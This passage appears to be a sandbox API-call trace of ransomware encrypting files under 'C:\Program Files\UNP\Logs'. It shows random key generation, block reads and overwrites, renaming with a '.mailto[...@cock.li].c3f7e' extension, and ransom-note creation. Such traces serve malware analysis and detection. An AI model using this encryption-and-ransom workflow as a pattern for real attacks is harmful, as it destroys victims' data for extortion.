	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x42bb3701
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xebb6100d
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x22af9393
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x136be31
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xed95df37
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xfa21d2db
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xaac7eb07
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x4a75b9f7
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x413c3589
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xc57e91f
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xf59ecdce
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x170b4a4
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x44e6699f
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x187f03ca
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x81d546e4
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x4dacd2c2
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xa0ace3d0
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xa56a3197
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x39055d9b
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x14b9d10f
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x826cc1f7
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x82c6384
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xe6823b25
	[0082.922] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x6778bd8d
	[0082.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.931] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.931] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.931] ReadFile (in: hFile=0x16a0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17bbf6d8, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17bbf6d8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.935] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0082.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0082.937] WriteFile (in: hFile=0x16a0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17bbf6d8, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17bbf6d8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0082.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf788
	[0082.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.944] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.944] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0082.944] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.944] WriteFile (in: hFile=0x16a0, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17bbf758, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17bbf758*=0x13b, lpOverlapped=0x0) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf788) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0082.949] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl"
	[0082.949] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.949] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17bbf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0082.949] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17bbf708, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0082.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0082.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0082.950] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x17bbf71c, FileInformation=0x17bbf6f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17bbf71c, FileInformation=0x17bbf6f4) returned 0x0
	[0082.950] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17bbf71c, FileInformation=0x17bbf6f4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0082.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0082.951] FlushFileBuffers (hFile=0x16a0) returned 1
	[0082.952] CloseHandle (hObject=0x16a0) returned 1
	[0082.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0082.957] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0082.957] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0082.957] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0xffffffff
	[0082.957] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16a0
	[0082.958] WriteFile (in: hFile=0x16a0, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x17bbf718, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x17bbf718*=0x6f6, lpOverlapped=0x0) returned 1
	[0082.959] CloseHandle (hObject=0x16a0) returned 1
	[0082.960] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0082.960] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35500) returned 1

Thread:
	id = 627
	os_tid = 0x18f8

	[0077.519] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl")) returned 0x2020
	[0082.653] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl", dwFileAttributes=0x20) returned 1
	[0082.961] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b4
	[0082.961] GetFileSizeEx (in: hFile=0x16b4, lpFileSize=0x17c3fea8 | out: lpFileSize=0x17c3fea8*=131072) returned 1
	[0082.961] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.961] ReadFile (in: hFile=0x16b4, lpBuffer=0x17c3fe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17c3fe28, lpOverlapped=0x0 | out: lpBuffer=0x17c3fe2c*, lpNumberOfBytesRead=0x17c3fe28*=0x4, lpOverlapped=0x0) returned 1
	[0082.963] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0082.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.963] NtQuerySystemTime (in: CurrentTime=0x17c3fe08 | out: CurrentTime=0x17c3fe08*=132251868097025581) returned 0x0
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xeb3fe6ab
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xdef9b060
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x4ff8bd7
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x12e996ce
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xfb29b3c7
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x830585bf
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xc92b270e
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x997273fc
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xd7c0c5e7
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xd0f38a49
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xf216219e
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x64e06ace
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xa9f78fed
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x5847214
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x51928da6
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x8d3cb580
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xbba1099d
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x7b174e22
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x37a972aa
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x74b6d2da
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xe2d15b60
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x88451189
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xcb90a778
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x163eb833
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xdf66f1c
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xeb2c6c4d
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x31e96212
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xd3b5cc8b
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x95923b56
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x53fb41d0
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0xb6937286
	[0082.963] RtlRandom (in: Seed=0x17c3fe14 | out: Seed=0x17c3fe14) returned 0x7b474be6
	[0082.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.972] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.972] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.972] ReadFile (in: hFile=0x16b4, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17c3fde8, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17c3fde8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.973] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0082.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.973] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0082.974] WriteFile (in: hFile=0x16b4, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17c3fde8, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17c3fde8*=0xc800, lpOverlapped=0x0) returned 1
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0082.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0082.976] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.976] WriteFile (in: hFile=0x16b4, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17c3fe68, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17c3fe68*=0x13b, lpOverlapped=0x0) returned 1
	[0082.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0082.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0082.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.983] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0082.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0082.984] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl"
	[0082.984] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.984] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17c3fe20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0082.984] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17c3fe18, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0082.985] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0082.985] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0082.985] NtQueryInformationFile (in: FileHandle=0x16b4, IoStatusBlock=0x17c3fe2c, FileInformation=0x17c3fe04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17c3fe2c, FileInformation=0x17c3fe04) returned 0x0
	[0082.985] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17c3fe2c, FileInformation=0x17c3fe04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0082.986] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0082.986] FlushFileBuffers (hFile=0x16b4) returned 1
	[0082.987] CloseHandle (hObject=0x16b4) returned 1
	[0082.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0082.991] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0082.991] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0082.991] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0082.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0082.991] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35148) returned 1

Thread:
	id = 628
	os_tid = 0x18fc

	[0077.519] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl")) returned 0x2020
	[0082.653] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl", dwFileAttributes=0x20) returned 1
	[0082.980] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.008.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0082.980] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x17cbfb40 | out: lpFileSize=0x17cbfb40*=131072) returned 1
	[0082.980] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.980] ReadFile (in: hFile=0x16a0, lpBuffer=0x17cbfac4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17cbfac0, lpOverlapped=0x0 | out: lpBuffer=0x17cbfac4*, lpNumberOfBytesRead=0x17cbfac0*=0x4, lpOverlapped=0x0) returned 1
	[0082.994] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0082.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.994] NtQuerySystemTime (in: CurrentTime=0x17cbfaa0 | out: CurrentTime=0x17cbfaa0*=132251868097338082) returned 0x0
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x92dce10c
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x7e56284e
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xd0482146
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x96aad2d9
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xb137e8dc
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xe15d3f21
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xe8e2a930
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xe8ae6cfa
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x3882273c
